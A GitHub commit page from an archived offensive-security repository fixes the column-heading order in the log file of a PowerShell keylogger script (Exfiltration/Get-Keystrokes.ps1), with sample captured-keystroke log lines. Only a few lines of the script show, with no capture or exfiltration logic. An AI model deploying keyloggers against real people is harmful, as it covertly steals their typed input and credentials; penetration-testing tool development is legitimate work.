Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 0045054

Browse files
committed
Fix for headings in wrong order
The column headings in the log file are out of order, e.g. ``` "TypedKey","Time","WindowTitle" "Document1 - Word","[Shift]","01-05-2015:20:53:29:28" "Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31" "Document1 - Word","[Shift]","01-05-2015:20:53:29:38" ``` The "WindowTitle" should be the first column heading like this, ``` "WindowTitle","TypedKey","Time" "Document1 - Word","[Shift]","01-05-2015:20:53:29:28" "Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31" "Document1 - Word","[Shift]","01-05-2015:20:53:29:38" ```
1 parent 5b1a775 commit 0045054

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

Exfiltration/Get-Keystrokes.ps1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ function Get-Keystrokes {
4949
$Initilizer = {
5050
$LogPath = 'REPLACEME'
5151

52-
'"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode
52+
'"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
5353

5454
function KeyLog {
5555
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

0 commit comments

Comments
 (0)